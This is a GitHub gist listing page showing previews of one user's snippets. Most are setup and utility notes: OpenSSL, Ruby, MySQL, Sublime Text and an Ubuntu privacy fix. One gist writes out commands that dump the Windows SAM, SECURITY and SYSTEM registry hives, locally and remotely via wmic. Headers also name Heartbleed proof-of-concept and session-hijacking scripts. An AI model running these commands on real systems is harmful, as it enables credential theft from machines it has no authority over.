Skip to content

Instantly share code, notes, and snippets.


  • Bishop Fox
Block or report user

Report or block sh1n0b1

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
sh1n0b1 / gist:5428373
Last active Dec 16, 2015
Java ReadFile
View gist:5428373
import java.util.*;
public static void main(String[] args){
public static void readFile(String fileName) throws FileNotFoundException{
File file = new File(fileName);
# Run this once
openssl genrsa -des3 -out ca.key 4096
openssl req -new -x509 -days 365 -key ca.key -out ca.crt
sh1n0b1 /
Last active Dec 30, 2015
Python HTTP Request
import requests, re
URL = ''
r = requests.get(URL)
search = re.findall("google", r.text)
print search
sh1n0b1 /
Created Dec 13, 2013
Ruby Installation

Ruby 2.0

Download Ruby and compile it:

mkdir /tmp/ruby && cd /tmp/ruby
curl --progress | tar xz
cd ruby-2.0.0-p353
./configure --disable-install-rdoc
sudo make install
sh1n0b1 /
Created Dec 13, 2013
MySQL & PostgreSQL Installation


# Install the database packages
sudo apt-get install -y mysql-server mysql-client libmysqlclient-dev

# Pick a database root password (can be anything), type it and press enter
# Retype the database root password and press enter

# Secure your installation.
sudo mysql_secure_installation
View launch_sublime_from_terminal.markdown

Launch Sublime Text 2 from the Mac OS X Terminal

Sublime Text 2 ships with a CLI called subl (why not "sublime", go figure). This utility is hidden in the following folder (assuming you installed Sublime in /Applications like normal folk. If this following line opens Sublime Text for you, then bingo, you're ready.

open /Applications/Sublime\ Text\

You can find more (official) details about subl here:


sh1n0b1 /
Last active Jan 4, 2016
Fix Ubuntu Bash
# Figure out the version of Ubuntu that you're running
V=`/usr/bin/lsb_release -rs`
# The privacy problems started with 12.10, so earlier versions should do nothing
if [ $V \< 12.10 ]; then
echo "Good news! Your version of Ubuntu doesn't invade your privacy."
# Turn off "Remote Search", so search terms in Dash don't get sent to the internet
gsettings set com.canonical.Unity.Lenses remote-content-search none
sh1n0b1 / hashdump.reg
Last active Nov 7, 2018
Windows local Hash Dump
View hashdump.reg
reg.exe save hklm\sam c:\temp\
reg.exe save hklm\security c:\temp\
reg.exe save hklm\system c:\temp\ -sam -security -system LOCAL
#Do this remotely
wmic /node:"<computer_name>" /user:"<username>" /password:"<password>" process call create "cmd.exe /c reg save hklm\sam C:\temp\"
sh1n0b1 /
Created Apr 8, 2014
Python Heartbleed (CVE-2014-0160) Proof of Concept
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
sh1n0b1 /
Created Apr 9, 2014
Using Heartbleed PoC for Hijacking User Sessions En Masse
# Connects to servers vulnerable to CVE-2014-0160 and looks for cookies, specifically user sessions.
# Michael Davis (
# Based almost entirely on the quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (
# The author disclaims copyright to this source code.
You can’t perform that action at this time.